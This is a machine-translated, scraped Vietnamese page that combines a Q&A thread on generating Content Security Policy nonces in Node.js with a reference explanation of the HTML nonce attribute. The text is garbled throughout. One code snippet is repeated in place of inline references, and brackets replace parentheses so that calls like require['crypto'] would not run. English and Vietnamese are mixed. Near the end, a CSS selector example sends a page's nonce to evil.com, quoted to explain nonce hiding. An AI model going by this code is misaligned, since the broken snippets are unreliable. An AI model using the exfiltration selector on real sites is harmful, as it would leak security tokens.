34
Mới! Lưu câu hỏi hoặc câu trả lời và sắp xếp nội dung yêu thích của bạn. Tìm hiểu thêm.
Learn more.
Tôi cần tạo một Nonce [số chỉ được tạo một lần] để xóa Quy tắc CSP
const crypto = require['crypto'];
let nonce = crypto.randomBytes[16].toString['base64'];
0 và tất cả các URL đáng tin cậy cho các tập lệnh, cải thiện điểm CSP. Vì vậy, tôi cần phải có trong HTML
Tôi biết rằng không phải là duy nhất với một phương pháp tính toán gần như không thể dự đoán, nó nên có ít nhất 128 bit [do đó 16 byte] và được mã hóa trong base64. Do đó, điều này có đúng đối với
const crypto = require['crypto'];
let nonce = crypto.randomBytes[16].toString['base64'];
1 không?const crypto = require['crypto'];
let nonce = crypto.randomBytes[16].toString['base64'];
Hỏi ngày 27 tháng 4 năm 2018 lúc 20:10Apr 27, 2018 at 20:10
Chỉ để xác nhận rằng thực sự điều này hoạt động trong nodejs cho csp unces
const crypto = require['crypto'];
let nonce = crypto.randomBytes[16].toString['base64'];
Đã trả lời ngày 29 tháng 4 năm 2018 lúc 16:50Apr 29, 2018 at 16:50
5
Tôi đề nghị sử dụng
const crypto = require['crypto'];
let nonce = crypto.randomBytes[16].toString['base64'];
2 cho điều này: //www.npmjs.com/package/uuidMỗi UUID chính xác là 16 byte [128 bit] như mong muốn và bạn có xác suất máy tính của bạn bị ảnh hưởng bởi một thiên thạch cao hơn là tạo ra một vụ va chạm UUID.
Đã trả lời ngày 17 tháng 12 năm 2020 lúc 7:13Dec 17, 2020 at 7:13
Mitch Talmadgemitch TalmadgeMitch Talmadge
4.3892 Huy hiệu vàng24 Huy hiệu bạc42 Huy hiệu Đồng2 gold badges24 silver badges42 bronze badges
2
Bạn có thể sử dụng
const crypto = require['crypto'];
let nonce = crypto.randomBytes[16].toString['base64'];
3 tích hợp để tạo chuỗi dài 36 ký tự [288 bit] mã hóa 128 bit của sự ngẫu nhiênconst crypto = require['crypto']
crypto.randomUUID[]
'5a388e8e-09eb-4778-a242-ea663f3c7e5e'
Như đã nêu trong tài liệu
const crypto = require['crypto'];
let nonce = crypto.randomBytes[16].toString['base64'];
3:Tạo một UUID RFC 4122 ngẫu nhiên. UUID được tạo bằng trình tạo số giả mã hóa mật mã.cryptographic pseudorandom number generator.
Đã trả lời ngày 15 tháng 9 lúc 19:54Sep 15 at 19:54
RubenlagunarubenlagunaRubenLaguna
19.2K12 Huy hiệu vàng98 Huy hiệu bạc132 Huy hiệu đồng12 gold badges98 silver badges132 bronze badges
Thuộc tính toàn cầu
5 là một thuộc tính nội dung xác định một bản không mật mã ["số được sử dụng một lần"] có thể được sử dụng bởi chính sách bảo mật nội dung để xác định xem việc tìm nạp nhất định có được phép tiến hành một phần tử nhất định hay không.const crypto = require['crypto'];
let nonce = crypto.randomBytes[16].toString['base64'];
5 global attribute is a content attribute defining a cryptographic nonce ["number used once"] which can be used by Content Security Policy to determine whether or not a given fetch will be allowed to proceed for a given element. const crypto = require['crypto'];
let nonce = crypto.randomBytes[16].toString['base64'];
Sự mô tả
Thuộc tính
const crypto = require['crypto'];
let nonce = crypto.randomBytes[16].toString['base64'];
5 rất hữu ích để cho phép các yếu tố cụ thể trong danh sách, chẳng hạn như một tập lệnh nội tuyến hoặc các phần tử kiểu cụ thể. Nó có thể giúp bạn tránh sử dụng Chỉ thị CSP const crypto = require['crypto'];
let nonce = crypto.randomBytes[16].toString['base64'];
7, cho phép danh sách tất cả các tập lệnh hoặc kiểu nội tuyến. Lưu ý: Chỉ sử dụng
5 cho các trường hợp bạn không có cách nào xung quanh việc sử dụng tập lệnh nội tuyến hoặc nội dung kiểu không an toàn. Nếu bạn không cần const crypto = require['crypto'];
let nonce = crypto.randomBytes[16].toString['base64'];
5, đừng sử dụng nó. Nếu tập lệnh của bạn là tĩnh, bạn cũng có thể sử dụng băm CSP thay thế. . Only use const crypto = require['crypto'];
let nonce = crypto.randomBytes[16].toString['base64'];
const crypto = require['crypto'];
let nonce = crypto.randomBytes[16].toString['base64'];
5 for cases where you have no way around using unsafe inline script or style contents. If you don't need const crypto = require['crypto'];
let nonce = crypto.randomBytes[16].toString['base64'];
5, don't use it. If your script is static, you could also use a CSP hash instead. [See usage notes on unsafe inline script.] Always try
to take full advantage of CSP protections and avoid nonces or unsafe inline scripts whenever possible. Sử dụng không cho phép một phần tử danh sách một
Có một vài bước liên quan để cho phép danh sách một tập lệnh nội tuyến bằng cơ chế không phải là:
Tạo giá trị
Từ máy chủ web của bạn, tạo một chuỗi được mã hóa ngẫu nhiên BASE64 ít nhất 128 bit dữ liệu từ một trình tạo số ngẫu nhiên bảo mật bằng mã hóa. Không phải được tạo ra khác nhau mỗi khi tải trang [không chỉ một lần!]. Ví dụ: trong NodeJS:
const crypto = require["crypto"];
crypto.randomBytes[16].toString["base64"];
// '8IBTHwOdqNKAWeKl7plt8g=='
Cho phép tập lệnh nội tuyến
Không được tạo trên mã phụ trợ của bạn bây giờ sẽ được sử dụng cho tập lệnh nội tuyến mà bạn muốn cho phép danh sách:
// …
Cuối cùng, bạn sẽ cần gửi giá trị không phải trong tiêu đề
const crypto = require['crypto'];
let nonce = crypto.randomBytes[16].toString['base64'];
0 [PREPEND const crypto = require['crypto'];
let nonce = crypto.randomBytes[16].toString['base64'];
1]:
Content-Security-Policy: script-src 'nonce-8IBTHwOdqNKAWeKl7plt8g=='
Truy cập vào việc ẩn náu không phải là
Vì lý do bảo mật, thuộc tính nội dung
const crypto = require['crypto'];
let nonce = crypto.randomBytes[16].toString['base64'];
5 bị ẩn [một chuỗi trống sẽ được trả về].
script.getAttribute["nonce"]; // returns empty string
Thuộc tính
const crypto = require['crypto'];
let nonce = crypto.randomBytes[16].toString['base64'];
5 là cách duy nhất để truy cập không phải là:
script.nonce; // returns nonce value
Nonce Hiding giúp ngăn chặn những kẻ tấn công thoát khỏi dữ liệu không thông qua các cơ chế có thể lấy dữ liệu từ các thuộc tính nội dung như thế này:
script[nonce~="whatever"] {
background: url["//evil.com/nonce?whatever"];
}
Thông số kỹ thuật
Tiêu chuẩn HTML # attr-nonce # attr-nonce |
Tính tương thích của trình duyệt web
Bảng BCD chỉ tải trong trình duyệt